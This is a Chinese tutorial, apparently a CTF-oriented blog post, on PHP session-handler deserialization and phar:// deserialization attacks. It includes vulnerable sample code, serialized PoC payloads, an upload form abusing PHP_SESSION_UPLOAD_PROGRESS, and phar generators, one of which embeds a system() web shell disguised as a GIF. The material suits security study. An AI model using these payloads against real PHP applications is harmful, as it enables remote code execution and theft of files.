接上一篇《PHP反序列化总结(一)》,前一篇对于序列化、PHP序列化与反序列化、PHP魔法函数、POP链进行了介绍,这篇将继续对session序列化、phar伪协议触发PHP反序列化等进行介绍。

session序列化

session与cookie

介绍session序列化前,先对session和php中的处理机制进行介绍。首先,先区分下什么session和cookie。

先看session,session其实是一种存放在服务器端的用户数据,一般称为 “会话控制”,用以实现一种客户与网站/服务器的更为安全的会话方式,通过使用session来保存会话中的用户数据和会话信息,从而让服务器/网站与用户间的会话可以通过session来进行识别和保持。如果服务器或网站开启session机制,用户第一次访问网站时的流程一般是下面这样的过程:

  • 在浏览器第一次请求访问一个网页时,服务器会自动生成一个session来标识这一对话,并且声称一个session id来唯一标识这个session,且将其通过响应报文发送给用户的浏览器上,通知其在会话时需要带上这一session id;
  • 浏览器收到服务器响应报文中发来的session信息,在第二次请求时,会在请求报文中带上这一session信息,一起发送给服务器端;
  • 服务器收到用户的第二次请求,并从中提取出session id,与本地的id表进行对比,找到对应的session,进行下一步会话。

一般情况下,服务器会在一定时间内(默认30分钟)保存这个session,过了时间限制,就会进行销毁。在销毁之前,程序员可以将用户的一些数据以Key和Value的形式暂时存放在这个session中。当然,也有使用数据库将这个session序列化后保存起来的,这样的好处是没了时间的限制,坏处是随着时间的增加,这个数据库会急速膨胀,特别是访问量增加的时候。一般还是采取前一种方式,以减轻服务器压力。

那么cookie又是什么?cookie和session最大的区别,在于cookie是存储在用户端的浏览器内存或者一个文本中,即不会占用服务器端的资源,使用流程和上述所说的session类似,由服务器返回给浏览器,浏览器保存,访问时带上这串数据。cookie也可以说是session对象的一种,一般用以识别用户身份和记录访问历史。

这里或许有人看出来,不管是session还是cookie,上述所说的服务器返回给用户浏览器,其实都是需要浏览器保存的?那又有什么区别呢?区别在于session在本地只有session id,而不会直接存储session,session是由浏览器发送id至服务器后进行查找得到的。

另外,这里值得说明的是,cookie因为其存储位置的原因,其安全性一直都颇具争议,其本地地可见性与可编辑性,常会引发众多安全问题,所以在使用cookie时,需要谨慎进行考虑!

PHP中的session处理过程与配置

在PHP中,假设此时用户执行登录操作,其session的工作流程如下所示:

  1. 将本地的cookie中的session标识和用户名,密码带到后台中;
  2. 后台检测有没有对应的session标识,我们以php为例,那么就是检测有没有接收到对应的PHPSESSID;
  3. 如果没有对应的session标识,则直接生成一个新的session。有的话,检测对应的文件是否存在并且有效;
  4. 如果对应的session失效,则需要清除session然后生成新的session。不失效,则使用当前的session;

在PHP的session处理中,有一些机制是需要进行配置的,一般配置如下:

设置session存放在cookie中中标识的字段名,php中默认为PHPSESSID;
对应的设置为: session.name = PHPSESSID
如果客户端禁用了cookie,可以通过设置session.use_trans_sid来使标识的交互方式从cookie变为url传递;
对应的设置为: session.use_trans_sid = 0
设置session的保存位置;
对应的设置为: session.save_path="/PHP/tmp" (这里使用的存储位置只是示例)

这里也附上一些从网上找的其他的更为详细的配置:

session.gc_divisor
php session垃圾回收机制相关配置

session.sid_bits_per_character
指定编码的会话ID字符中的位数

session.save_path=""
该配置主要设置session的存储路径

session.save_handler=""
该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数

session.use_strict_mode
严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID

session.use_cookies
指定是否在客户端用 cookie 来存放会话 ID,默认启用

session.cookie_secure
指定是否仅通过安全连接发送 cookie,默认关闭

session.use_only_cookies
指定是否在客户端仅仅使用cookie来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击

session.name
指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID

session.auto_start
指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动

session.cookie_lifetime
指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0

session.cookie_path
指定要设置会话cookie 的路径,默认为 /

session.cookie_domain
指定要设置会话cookie 的域名,默认为无,表示根据 cookie 规范产生cookie的主机名

session.cookie_httponly
将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用

session.serialize_handler
定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同

session.gc_probability
该配置项与 session.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率

session.gc_divisor
该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率

session.gc_maxlifetime
指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在session启动的时候开始( 取决于session.gc_probability 和 session.gc_divisor)

session.referer_check
包含有用来检查每个 HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串

session.cache_limiter
指定会话页面所使用的缓冲控制方法(none/nocache/private/private_no_expire/public)。默认为 nocache

session.cache_expire
以分钟数指定缓冲的会话页面的存活期,此设定对nocache缓冲控制方法无效。默认为 180

session.use_trans_sid
指定是否启用透明 SID 支持。默认禁用

session.sid_length
配置会话ID字符串的长度。 会话ID的长度可以在22256之间。默认值为32

session.trans_sid_tags
指定启用透明sid支持时重写哪些HTML标签以包括会话ID

session.trans_sid_hosts
指定启用透明sid支持时重写的主机,以包括会话ID

session.sid_bits_per_character
配置编码的会话ID字符中的位数

session.upload_progress.enabled
启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。

session.upload_progress.cleanup
读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

session.upload_progress.prefix
配置$ _SESSION中用于上传进度键的前缀,默认为upload_progress_

session.upload_progress.name
$ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS

session.upload_progress.freq
定义应该多长时间更新一次上传进度信息

session.upload_progress.min_freq
更新之间的最小延迟

session.lazy_write
配置会话数据在更改时是否被重写,默认启用

PHP session存储与处理引擎

默认情况下,PHP使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置。而在PHP session序列化漏洞中,主要涉及的是session.serialize_handler配置项。

刚刚有说过session是存储在服务器端中的,默认是使用文件的形式进行存储,且存储的文件是由sess_sessionid来决定文件名,当然这个文件名也不是不变的,如Codeigniter框架的session存储的文件名为ci_sessionSESSIONID。在文件中,存储的session是以session的序列化值的形式存在。而对于存储的session序列化形式数据来说,使用的序列化处理器不同会导致序列化处理后的结果不同,其处理器的选择有上述所说的session_serialize_handler来定义,不同的处理器及其格式如下表所示:

处理器 序列化格式
php session名 +
php_binary session名长度对应的ascii码转为的字符 + session名 + 经过PHP serialize()函数序列化处理后的字符串
php_serialize 经过PHP serialize()函数序列haul处理后的字符串

下面看下这三个不同的序列化处理器的使用示例,假设传入的数据为’xiaoZisacaiji’:

//1.php处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php'); //设置php序列化处理器
session_start(); //session开始
$_SESSION['session_php'] = $_GET['session']; //获取用户传来的session信息
?>

//序列化处理后结果:
session_php|s:13:"xiaoZisacaiji"

//其中session为session名,| 后为get传过来的session信息经过序列化的结果


//2.php_binary处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['session_php_binary_test_test_test_test'] = $_GET['session'];
?>

//序列化处理后结果:
&session_php_binary_test_test_test_test:s:13:"xiaoZisacaiji"

//其中,因为session_php...test字符长度为38,则对应ascii码的字符为 &


//3.php_serialize处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化处理后结果为:
a:1:{s:7:"session";s:13:"xiaoZisacaiji"}

说到这里,还是和之前讨论序列化一样的思路,服务器会读取并使用发送过去的session信息,那么是否可以在用户端进行修改,传入特定的session信息,从而传入一些可被利用的后门或者其余恶意代码,从而达到攻击目的呢?答案是,可以的!如果网站序列化并存储session与反序列化并读取session的方式不同,就可能导致漏洞的产生。

PHP session序列化漏洞

这里直接结合一个漏洞实例来进行讲解,下面是示例代码:

//存储session页面 session.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>


//漏洞页面 test.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();

class xiaoZ{
var $a;
function __destruct(){
$fp = fopen("../WWW/test/index.php","w");
fputs($fp,$this->a);
fclose($fp);
}
}
?>

通过session.php可以进行session信息的传入和存储,后面的test则是对序列化结果进行处理,由上述看到的两种php session处理器的处理不同可得,如果在签名传入一个包含 ‘|’ 符合的session信息,则在服务器对session信息进行处理时,新的序列化处理反格式会将 ‘|’ 后的值当成session的key值再进行序列化,从而将这一个类进行序列化,由此,在这里我们可以传入poc,如下:

//session.php页面传入
a:1:{s:7:"session";s:50:"|O:5:"xiaoZ":1:{s:1:"a";s:17:"<?php phpinfo()?>";}";}

//test.php页面处理后
a = '<?php phpinfo()?>' ;

//即后续服务器对session进行处理时,会将phpinfo() 信息写入到上述test.php中的 "../WWW/test/index.php" 中。

上述示例中,只是传入一个phpinfo(),那么如果是传入一句话木马的话,则可以getshell了。比如将上述session.php页面的poc中的 “” 修改为 “”,即可将一句话木马写入到 ‘index.php’ 中。

再看一个示例,该示例为jarvisoj-web中的一道(session反序列化题)[http://web.jarvisoj.com:32784/index.php],题目给出了 index.php 源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

可以看到这里设置的php session处理器为php,另外通过get传入phpinfo时,会将OowoO这个类进行实例化并访问phpinfo()。这个例题中,还使用了另一个php session的配置——session.upload_progress.enabled(PHP BUG #71101),该配置用于检测文件上传的进度,在配置为on时,如果在一个文件上传的同时post一个与session.upload_progress.name同名的变量,则PHP会在$_SESSION中添加一条数据。而我们则可以利用这一点来对session进行设置。下面poc来源于网络:

列出当前目录:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="|O:5:"OowoO":1:{s:4:"mdzz";s:26:"print_r(scandir(__dir__));";}" />
<input type="file" name="file" />
<input type="submit" />
</form>

上传该poc后,在原本应该返回的phpinfo页面中会出现当前路径的信息,由此可以找到flag文件,直接读取即可:

|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents(/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php));";}

由此可以得到flag。

另外提供一个示例,这是2019巅峰极客大赛的web题——lol,这道题目一样利用了php session反序列化漏洞及PHP BUG #71101。其源码环境可到此处下载

phar伪协议扩展php反序列化

phar协议

在之前对SSRF的介绍中,有过对一些协议(file://、php://等)的介绍,现在需要介绍的是另外一个协议,phar伪协议。该协议也是一种流包装器,主要是用于进行文档的压缩,可以将多个文件归档到同一个文件中,并且能够不经过解压就被php访问并执行,或许可以将其名称进行拆分 “php + tar” 更容易理解?

在php文档中,对于phar的结构进行了规定,其结构由以下四部分组成:

  • stub phar 文件标识,格式为 xxx
  • manifest 压缩文件的属性等信息,以序列化存储;
  • contents 压缩文件的内容;
  • signature 签名,放在文件末尾;

其中文件标识必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制。另外,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。

看一个创建phar文件的示例:

//phar.phar

<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='xiaoZisacaiji';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

通过上述代码,则可以创建出一个phar文件,通过hexo打开,可以看到其中最开始的字段为 “<?php _HALT_COMPILER();” ,而中间数据中则包含有上述对象序列化后的数据字段。这里的phar文件中,最开始的字段是可以自行构造的,也就是上述介绍中所说的,可以利用这样的特点,伪造一个图片或者pdf文件来绕过一些上传限制,如只需要将上述代码改为如下所示即可将phar文件伪造为图片:

//phar.phar

<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='xiaoZisacaiji!!!';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

通过上面这个例子,是否可以看到和之前所述漏洞利用的相同点?利用在序列化和反序列化中的不同,构造数据传入,从而达成攻击的目的?

phar反序列化利用

一样的,利用几个示例来进行理解,示例一(来源2018柏鹭杯 web2-Phar):

//test1.php
//该段代码只是漏洞利用处的代码,另外有一处文件上传点,但是限制文件上传类型为gif图片
//另外,该文件上传点未对上传的文件内容进行校验

<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
class MyClass{
var $output = 'echo "hahaha";';
function __destruct(){
eval($this -> output);
}
}
file_exists($filename);
}
else{
highlight_file(__FILE__);
}

看到上述代码,关键在于这一段语句 “file_exists($filename);” ,如果可以绕过文件上传点,则可以利用反序列化生成一个phar文件,而这个phar文件则是php可以执行的,则可以在其中写入一句话木马,从而getshell。其poc如下:

<?php
class MyClass{
var $output = '@eval(system($_GET["a"]));';
}
$payload = new MyClass();
unlink("temp.phar");
$phar = new Phar("temp.phar");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($payload);
$phar->addFromString('test.txt', 'Hello world!');
?>

用上述代码构建一个phar文件,再将其后缀名修改为gif,则可以绕过上传,上传成功后直接访问该gif文件,并利用传入的一句话木马getshell,拿到flag。

由这个例子,可以对phar反序列化漏洞的利用有一个初步的了解,而对于这样的利用过程来说,一般需要满足以下条件:

  • phar文件要能够上传到服务器端
  • 要有可用的魔术方法作为"跳板"
  • 要有文件操作函数,如file_exists(),fopen(),file_get_contents(),file()
  • 文件操作函数的参数可控,且:phar等特殊字符没有被过滤

继续看示例二(来源 CISCN2019 华北赛区 Day1 Web1):

//题目中有一个download.php,可以在这一页面下载时抓包修改文件名,将源码down下来,主要有以下页面:

class.php
delete.php
download.php
index.php
login.php
upload.php

//upload.php中存在文件上传点,且限定文件上传类型为jpg
//漏洞主要存在于delete.php和class.php中

//class.php关键代码

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}


public function detele() {
unlink($this->filename);
}



//delete.php关键代码

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}

对上述代码进行分析,可以看到,在class.php中的Filelist类中的__destruct可以读取任意文件,而class.php中的delete函数又使用了unlink函数,且被delete.php调用,于是可以通过上传符合上传文件类型的文件,并将命令写入在文件中,上传成功后删除文件,从而在调用delete函数时触发反序列化漏洞,读取flag文件。构造phar文件的poc如下,生成后需要将其修改为jpg文件上传:

<?php
class User {
public $db;
}
class File{
public $filename;
public function __construct($name){
$this->filename=$name;
}
}
class FileList {
private $files;
public function __construct(){
$this->files=array(new File('/flag.txt'));
}
}
$o = new User();
$o->db =new FileList();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

emmm,或许我讲清楚了?好吧应该没有,主要还是要关注上面所说的几个符合利用的条件吧,上面的两个示例其实都是可以在里面找到符合上述所说条件的地方,因此可以利用其进行phar反序列化利用,从而实现攻击目标。

最后,意犹未尽的话,可以自己试试示例三(来源 HITCON 2017 Baby^H Master PHP),题目下载地址